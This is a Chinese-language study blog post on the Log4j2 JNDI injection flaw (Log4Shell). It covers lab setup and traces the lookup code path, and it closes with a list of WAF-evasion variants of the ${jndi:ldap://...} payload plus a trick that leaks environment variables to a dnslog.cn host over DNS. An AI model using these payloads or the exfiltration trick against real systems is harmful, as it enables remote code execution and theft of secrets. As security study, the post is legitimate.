Log4j2
前言
前几天做了一个log4j2的题目,但是还没有系统的学一下(关于开发,漏洞的原理,一些绕过方法等)。
简介
Log4j2 是 Apache Log4j 的升级版本,相较于 Log4j 1.x 和 Logback,提供了显著的性能提升和功能改进。它被广泛认为是目前最优秀的 Java 日志框架之一,常与 SLF4J 门面结合使用以实现高效日志记录。
漏洞复现
环境准备
这里要先准备一个log4j2的环境
- jdk8u65
- log4j2 2.14.1
- cc 3.2.1
首先是依赖包关于log4j2的实现,我们选择使用xml来实现1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>
这是一个很简单的实现方法然后写个小demo,看一下输出1
2
3
4
5
6
7
8
9
<Configuration status="WARN">
<Appenders> <!-- 控制台输出 -->
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
</Console> </Appenders>
<Loggers> <Root level="INFO">
<AppenderRef ref="Console"/>
</Root> </Loggers></Configuration>1
2
3
4
5
6
7
8
9
10import java.util.function.LongFunction;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j2test {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(LongFunction.class);
logger.info("Hello World");
}
}
这样其实就准备的差不多了
漏洞原理
影响版本:2.x <= log4j <= 2.15.0-rc1
既然是一个日志框架,每当有人登录的时候会把信息输出出来就像
那么如果使用${java:os}会发生什么呢?
这里我们会看到,显示了一些操作系统的信息,其实是这里会对lookup进行调用,最主要的是这里用的lookup还是jndi的lookup,所以就会造成jndi的注入。
我们先起一个rmi的服务测试一下
还是之前写的
1 | import org.apache.naming.ResourceRef; |
这里运行之后是可以执行恶意类的

分析

对于调试看Drunkbaby师傅的博客是从这里开始调试的,当然我是一步步调到这里的,前面的就不写了,师傅们也可以直接从这里打断点开始,前面的不重要,从这里进入format方法。
然后反复测了一会,发现不同的i会进入不同的fomat方法(当然有的可能是一样的方法,没细看),这里当i为8的时候进入到了一个特殊的format方法当中。

在这里会判断是否是log4j2的lookups功能,这里是为true的,所以我们继续向下,会识别出${}的里的内容并使用StrSubstitutor进行替换,这让跟进replace看一下
继续跟进substitute
这里会提取出${}的内容,return出来之后到这里
然后继续向下执行一直到resolveVariable
这里的varname就是rmi://localhost:1099/RO
到这里我们就能看到对lookup的调用了。
在一直向里跟一下就可以看到原生的jndi的调用了。
针对waf的绕过方法
waf主要是对jndi等关键词的禁用,这里有几种佬整理的绕过方法:
利用分割符和多个${}绕过
1
logg.info("${${::-J}ndi:ldap://127.0.0.1:1389/Calc}");
通过lower和upper绕过

这个能利用的原因是就是这里,不仅支持jndi,也支持upper和lower
所以可以写成这样1
2
3logg.info("${${lower:J}ndi:ldap://127.0.0.1:1389/Calc}");
logg.info("${${upper:j}ndi:ldap://127.0.0.1:1389/Calc}");
....其实也可以编码绕过例如Unicode和16进制,就比如今天刚做的一个题ez_gadget
总结payload
原始:"${jndi:ldap://127.0.0.1:1234/ExportObject}";
变化:1
2
3
4
5
6
7
8
9${${a:-j}ndi:ldap://127.0.0.1:1234/ExportObject};
${${a:-j}n${::-d}i:ldap://127.0.0.1:1234/ExportObject}";
${${lower:jn}di:ldap://127.0.0.1:1234/ExportObject}";
${${lower:${upper:jn}}di:ldap://127.0.0.1:1234/ExportObject}";
${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1234/ExportObject}";小技巧
可以通过sys和env协议,读取一些敏感信息(配合dns),例如${jndi:ldap://${env:LOGNAME}.uaoeck.dnslog.cn}
利用dns带外回显。
整体就是这些
